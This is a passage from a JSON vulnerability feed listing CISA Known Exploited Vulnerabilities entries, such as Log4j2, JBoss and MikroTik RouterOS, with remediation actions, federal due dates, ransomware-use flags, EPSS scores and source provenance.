vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Red Hat","product":"JBoss Seam 2","stacks":["Red Hat Enterprise Linux","Red Hat","JBoss Seam 2"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2022-06-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83397,"percentile":0.99679,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-1871&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-1871","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-1871 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-1871&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-1871, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12149","cveId":"CVE-2017-12149","aliases":[],"kind":"vulnerability","title":"Red Hat JBoss Application Server Remote Code Execution Vulnerability","summary":"The JBoss Application Server, shipped with Red Hat Enterprise Application Platform 5.2, allows an attacker to execute arbitrary code via crafted serialized data.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Red Hat","product":"JBoss Application Server","stacks":["Red Hat Enterprise Linux","Red Hat","JBoss Application Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2022-06-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90713,"percentile":0.99802,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12149","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12149 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-17562","cveId":"CVE-2017-17562","aliases":[],"kind":"vulnerability","title":"Embedthis GoAhead Remote Code Execution Vulnerability","summary":"Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Embedthis","product":"GoAhead","stacks":["Embedthis","GoAhead"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2022-06-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97127,"percentile":0.99893,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-17562&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-17562","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-17562 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-17562&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-17562, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0193","cveId":"CVE-2019-0193","aliases":[],"kind":"vulnerability","title":"Apache Solr DataImportHandler Code Injection Vulnerability","summary":"The optional Apache Solr module DataImportHandler contains a code injection vulnerability.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Solr","stacks":["Apache","Solr"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2022-06-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83547,"percentile":0.99683,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0193","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0193 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-10758","cveId":"CVE-2019-10758","aliases":[],"kind":"vulnerability","title":"MongoDB mongo-express Remote Code Execution Vulnerability","summary":"mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"MongoDB","product":"mongo-express","stacks":["MongoDB","mongo-express"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2022-06-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84726,"percentile":0.99705,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-10758&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-10758","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-10758 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-10758&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-10758, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-13272","cveId":"CVE-2019-13272","aliases":[],"kind":"vulnerability","title":"Linux Kernel Improper Privilege Management Vulnerability","summary":"Kernel/ptrace.c in Linux kernel mishandles contains an improper privilege management vulnerability that allows local users to obtain root access.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2022-06-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.52199,"percentile":0.98951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-13272&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-13272","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-13272 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-13272&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-13272, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7238","cveId":"CVE-2019-7238","aliases":[],"kind":"vulnerability","title":"Sonatype Nexus Repository Manager Incorrect Access Control Vulnerability","summary":"Sonatype Nexus Repository Manager before 3.15.0 has an incorrect access control vulnerability. Exploitation allows for remote code execution.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Sonatype","product":"Nexus Repository Manager","stacks":["Sonatype","Nexus Repository Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2022-06-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.76629,"percentile":0.9954,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7238&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7238","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7238 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7238&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7238, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-17463","cveId":"CVE-2020-17463","aliases":[],"kind":"vulnerability","title":"Fuel CMS SQL Injection Vulnerability","summary":"FUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Fuel CMS","product":"Fuel CMS","stacks":["Fuel CMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2022-06-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89689,"percentile":0.99786,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-17463&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-17463","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-17463 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-17463&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-17463, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8816","cveId":"CVE-2020-8816","aliases":[],"kind":"vulnerability","title":"Pi-Hole AdminLTE Remote Code Execution Vulnerability","summary":"Pi-hole Web v4.3.2 (aka AdminLTE) allows Remote Code Execution by privileged dashboard users via a crafted DHCP static lease.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Pi-hole","product":"AdminLTE","stacks":["Pi-hole","AdminLTE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2022-06-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78336,"percentile":0.99577,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8816&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8816","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8816 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8816&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8816, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-35394","cveId":"CVE-2021-35394","aliases":[],"kind":"vulnerability","title":"Realtek Jungle SDK Remote Code Execution Vulnerability","summary":"RealTek Jungle SDK contains multiple memory corruption vulnerabilities which can allow an attacker to perform remote code execution.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Realtek","product":"Jungle Software Development Kit (SDK)","stacks":["Realtek","Jungle Software Development Kit (SDK)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2021-12-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99877,"percentile":0.99964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-35394&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-35394","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-35394 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-35394&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-35394, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-44168","cveId":"CVE-2021-44168","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS Arbitrary File Download","summary":"Fortinet FortiOS \"execute restore src-vis\" downloads code without integrity checking, allowing an attacker to arbitrarily download files.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS","stacks":["Fortinet","FortiOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2021-12-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00865,"percentile":0.58391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-44168&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-44168","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-44168 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-44168&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-44168, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-44228","cveId":"CVE-2021-44228","aliases":[],"kind":"vulnerability","title":"Apache Log4j2 Remote Code Execution Vulnerability","summary":"Apache Log4j2 contains a vulnerability where JNDI features do not protect against attacker-controlled JNDI-related endpoints, allowing for remote code execution.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Temporary mitigations using one of the measures provided at https://www.cisa.gov/uscert/ed-22-02-apache-log4j-recommended-mitigation-measures are only acceptable until updates are available.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Log4j2","stacks":["Apache","Log4j2"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2021-12-24","action":"For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Temporary mitigations using one of the measures provided at https://www.cisa.gov/uscert/ed-22-02-apache-log4j-recommended-mitigation-measures are only acceptable until updates are available.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":1,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-44228&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-44228","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-44228 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-44228&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-44228, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-44515","cveId":"CVE-2021-44515","aliases":[],"kind":"vulnerability","title":"Zoho Desktop Central Authentication Bypass Vulnerability","summary":"Zoho Desktop Central contains an authentication bypass vulnerability that could allow an attacker to execute arbitrary code in the Desktop Central MSP server.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-10","updatedAt":null,"regions":["Global"],"vendor":"Zoho","product":"Desktop Central","stacks":["Zoho ManageEngine","Zoho","Desktop Central"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-10","dueAt":"2021-12-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99871,"percentile":0.99963,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-44515&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-44515","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-44515 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-44515&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-44515, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-14847","cveId":"CVE-2018-14847","aliases":[],"kind":"vulnerability","title":"MikroTik Router OS Directory Traversal Vulnerability","summary":"MikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated attackers to write arbitrary files due to a directory traversal vulnerability in the WinBox interface.","detail":"CISA added this entry on 2021-12-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-01","updatedAt":null,"regions":["Global"],"vendor":"MikroTik","product":"RouterOS","stacks":["MikroTik","RouterOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-01","dueAt":"2022-06-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95981,"percentile":0.99874,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-14847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-14847","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-14847 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-14847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-14847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-11261","cveId":"CVE-2020-11261","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Improper Input Validation Vulnerability","summary":"Memory corruption due to improper check to return error when user application requests memory allocation of a huge size in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables","detail":"CISA added this entry on 2021-12-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-01","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables","stacks":["Qualcomm chipsets","Qualcomm","Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, S"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-01","dueAt":"2022-06-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01604,"percentile":0.75672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-11261&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 